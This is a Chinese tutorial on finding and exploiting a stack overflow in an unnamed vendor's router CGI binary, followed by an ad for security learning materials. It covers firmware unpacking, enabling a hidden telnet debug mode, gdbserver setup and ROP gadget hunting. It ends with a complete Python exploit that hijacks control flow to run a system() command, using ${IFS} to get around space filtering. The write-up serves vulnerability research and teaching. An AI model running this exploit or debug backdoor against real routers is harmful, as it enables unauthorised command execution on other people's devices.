漏洞挖掘 | 从零开始的路由器漏洞挖掘之旅

0x1 前言

虽然目前已经有了很多很多路由器漏洞挖掘的文章资料,但是适合新手入门的、涉及环境配置细节的教学文章还是比较少,本文将带你一步步学习如何从零开始挖掘某厂商路由器的漏洞,通过实际操作和工具使用,深入了解固件分析、动态调试和漏洞利用的全过程,希望可以帮助读者少走一些弯路。

0x2 固件分析

安装和配置binwalk

Binwalk是一个固件分析工具,可以帮助我们提取和分析嵌入式固件镜像。首先,按照以下步骤安装binwalk:

binwalk作者为Ubuntu系统定制了依赖的安装脚本,直接执行deps.sh,免去大部分烦恼!

git clone https://github.com/ReFirmLabs/binwalk  
cd binwalk   
sudo python3 setup.py install  
sudo ./deps.sh  

在开始漏洞挖掘之前,我们需要下载并解包路由器的固件。本文以某厂商路由器为例,首先从官网下载固件,然后使用binwalk进行解包:

binwalk -Me <firmware_file>  

漏洞分析

目标漏洞信息

目标路由器属于MIPSEL架构,漏洞二进制位于setup.cgi(许多路由器的漏洞都位于CGI中,所以可以多看看,而且也比较容易利用)

file setup.cgi  
setup.cgi: ELF 32-bit LSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped  

main函数在setup_main

逆向

sub_555BA950从nvram中获取了环境变量fw_out_rules的值,没有进行长度检查,在sscanf格式化写入到v16导致栈溢出。

图片

通过交叉引用fw_out_rules可以发现该环境变量在sub_55567D8C被设置。

图片

交叉引用上面所说的两个函数 可以发现都是通过ActionTab方式按名调用,分别是rule_list_simple_outoutmove可以在固件解包的目录下grep搜索对应的字符串找到对应的外部接口,下面结合前端后端进行分析。

图片

直接访问fw_rules.htm,搞几个规则,使用 nvram show | grep fw_out_rules 可以看到这个变量储存的是Service name还有一些数字啥的。

图片

图片

所以我们需要控制请求里的 service_list参数,来修改fw_out_rules,最后访问BKS_service_add.htm触发栈溢出。

图片


0x3 动态调试

路由器配置

开启telnet

虽然该款路由器开启调试的方式早已公开,但是为了弄清楚细节,最好的办法是手工逆一下。

其中函数CallActionByName通过查ActionTab表比对参数todo的值方式来调用函数todo中的参数对应函数

image-20220107154406516

图片

注意到这个部分在许多函数中都有出现,搜索发现是一个为了修CNNVD-201306-024而写的一个check(IoT 分析 | 路由器漏洞频发,mirai 新变种来袭 - 云+社区 - 腾讯云 (tencent.com))。

图片

所以可以通过todo=debug开启telnet

图片

192.168.1.1/setup.cgi?todo=debug  
telnet 192.168.1.1  

图片

编译gdbserver

在路由器上也要进行相应的调试配置

注意路由器是小端序,参数加上-EL

搭建iot动态调试环境_九层台-优快云博客

sudo apt-get install linux-libc-dev-mipsel-cross  
sudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-cross  
sudo apt-get install binutils-mipsel-linux-gnu gcc-mipsel-linux-gnu  
sudo apt-get install g++-mipsel-linux-gnu  

wget https://ftp.gnu.org/gnu/gdb/gdb-10.1.tar.xz  
tar xvf gdb-10.1.tar.xz  
cd gdb-10.1  
CC="mips-linux-gnu-gcc -EL" CXX="mips-linux-gnu-g++" ./configure --target=mips-linux-gnu --host="mips-linux-gnu" --prefix="/root/tgdb" LDFLAGS="-static"  
make -j7  

编译不了,不知道为啥(

这里下一个

https://github.com/stayliv3/gdb-static-cross/tree/master/prebuilt

HatLab Tools Library: 海特实验室IoT安全工具/环境整合 - Gitee.com

上传gdbserver

比较好的办法是使用http server

python -m http.server 9999  
wget http://192.168.1.2:9999/gdbserver  

图片

附加二进制的坑点

由于setup.cgi不是持久存在的,需要循环attach,这个脚本可以解决。

int=1  
while [ $int -le 1000 ]; do  
    /tmp/gdbserver 0.0.0.0:12345 --attach `ps -A | grep setup.cgi | awk '{print $1}' | head -n 1`  
done  

调试端配置

环境:Ubuntu 21

安装gef

gef是异构动态调试做的比较好的一款gdb插件,推荐使用。

bash -c "$(wget http://gef.blah.cat/sh -O -)"  

安装gdb-multiarch

普通的gdb无法调试mips架构的二进制,所以你需要gdb-multiarch,Ubuntu的话直接使用apt就可以进行安装了。

sudo apt install gdb-multiarch  

gdb调试配置

为了让gdb正确进行调试,首先需要进行一下环境配置。

set arch mips  
set endian little  
gef-remote 192.168.1.1:12345  

图片

在调试过程可以断到gadget,以及加载libc符号,如果觉得每次敲gdb命令比较繁琐,可以将gdb的命令保存成文件,然后在使用gdb-multiarch通过-x选项直接通过文件加载命令:

set arch mips  
set endian little  
gef-remote 192.168.1.1:12345  
b *0x555BAC2C  

gdb-multiarch setup.cgi -x ./gdb.cmd  

IDA反汇编出来的base可能跟实际基址不一样,可以调出实际的基址再rebase一下。

图片


0x4 漏洞利用

函数栈

mips调用函数时将返回地址放在 $ra,与x86架构类似,在函数起始处压栈,结束时弹出,通过ja指令跳到返回地址,所以需要溢出到var_s24来劫持控制流。

图片

执行system

介绍一下 mips 下神奇的函数调用:

图片

在这里跳到 $t9 也就是 system 之后,会执行一下下面的那条语句(也就是 5B068 处的语句)之后才继续在 system 里面执行

那么这个gadget 我们就可以把 sp + 0xa8 + 0x88 处放一个command的指针,这样就会调用 system(ptr)

然后执行命令可以执行 ping 命令(其中 ping 需要绝对路径,需要注意):

/bin/ping hv14uf.dnslog.cn -c 2  

寻找gadgets

MIPS架构推荐使用ropper进行查找,查找时可以参考可被控制的寄存器来筛选gadget。

file setup.cgi  
search addiu $a0  

一开始找到了这个,后来发现怎么也打不通

0x5556af20: addiu $a0, $sp, 0x18; lw $ra, 0x5c($sp); lw $v0, 0x18($sp); jr $ra; addiu $sp, $sp, 0x60;   
0x55567650: la $t9, system; nop; jalr $t9; nop;  

后来翻了翻CTF中常见的C语言输入函数截断属性总结 | Clang裁缝店 (xuanxuanblingbling.github.io)发现是0x20截断了,所以我们system执行的command也需要绕过空格。

图片

同时在FindForbidValue函数里也check了一些敏感字符/关键字,包含这些字符的请求包将会被丢弃。

image-20220112183944202.png

后来还是用原来的(,将command写到 $a0-0x60上,跳到0x55567650执行就行了。

0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20;   
0x55567650: la $t9, system; nop; jalr $t9; nop;  

如果你也比较懒的的话,可以用cyclic -l来找偏移。

图片

调试时发现$a0的值会随长度变化而变化,所以得填充一下,调试时用的长度500,这里也pad到500,如果想执行更长的命令,可以增加一下payload长度。

最终exp

import requests,re  
import base64  
url = "http://192.168.1.1/"  
user = "aaaa"  
pwd = "xxxx!"  
command = '/bin/ping xxx.dnslog.cn -c 4'  
command = command.replace(" ", "${IFS}")  
auth =  "Basic " + base64.b64encode((user + ":" + pwd).encode()).decode("utf-8")  
  
deflogin():  
    get_sessionid = requests.get(url)  
    sessionid = get_sessionid.headers["Set-Cookie"]  
    headers = {  
        "Authorization" : auth,  
        "Cookie" : sessionid  
    }  
    r = requests.get(url,headers = headers)  
    if r.status_code == 200:  
        print("[+] Login success!")  
        return sessionid  
    else:  
        print("[-] Login failed!")  
        exit(0)  
  
defget_sid(sessionid):  
    headers = {  
        "Authorization" : auth,  
        "Cookie" : sessionid  
    }  
    get_sid = requests.get(url + "fw_rules.htm",headers = headers)  
    sid = re.findall(r'\?id=[a-f0-9]+', get_sid.content.decode("utf-8"))  
    return sid[0]  
  
defattack(sessionid):  
    attackurl = url + "setup.cgi" +  get_sid(sessionid)     
    payload = "a" * 376  
    payload += "%e4%2c%59%55"# ra = 0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20;   
    payload += "b" * 0x1c  
    payload += "%50%76%56%55"# ra = 0x55567650: la $t9, system; nop; jalr $t9; nop;  
    payload += "c" * 8  
    payload += "%0a{}%0a".format(command)  
    pad = 500 - (len(payload) - 4)    
    if(pad >= 0):  
        payload += "c" * pad # pad len to 500  
        print("[+] Attack start")  
        print(attackurl,payload)  
        data = "save=Apply&service_list=" + payload + "&fwout_action=0&fwout_laniptype=anyip&fwout_waniptype=anyip&fwout_logging=1&h_fwout_action=0&h_fwout_laniptype=anyip&h_fwout_waniptype=anyip&h_fwout_logging=1&h_service_list=AIM&c4_lan_start_ip=192.168.1.NaN&c4_lan_finish_ip=192.168.1.NaN&c4_wan_start_ip=&c4_wan_finish_ip=&h_ruleSelect=0&edit=0&todo=save&this_file=rule_out.htm&next_file=BKS_service_add.htm&SID="  
        headers = {  
            "Cookie" : sessionid,  
            "Authorization" : auth  
        }     
        r = requests.post(url = attackurl,data = data,headers = headers)  
        if r.status_code:  
            print("[+] Attack success!, the result is:")  
            print(r.content)  
        else:  
            print("[-] Attack failed!")  
            exit(0)  
  
sessionid = login()  
attack(sessionid)  

图片

图片

===

ref

TP-Link WR841N 栈溢出漏洞(CVE-2020-8423)分析 - Lonely Blog (wuhao13.xin)

HWS赛题 入门 MIPS Pwn | Clang裁缝店 (xuanxuanblingbling.github.io)

思科路由器 RV110W CVE-2020-3331 漏洞复现 | Clang裁缝店 (xuanxuanblingbling.github.io)

原文链接:https://forum.butian.net/share/4067

作者:Vokekk,由神农Sec排版,侵删

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包,需要点击下方链接即可前往获取

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值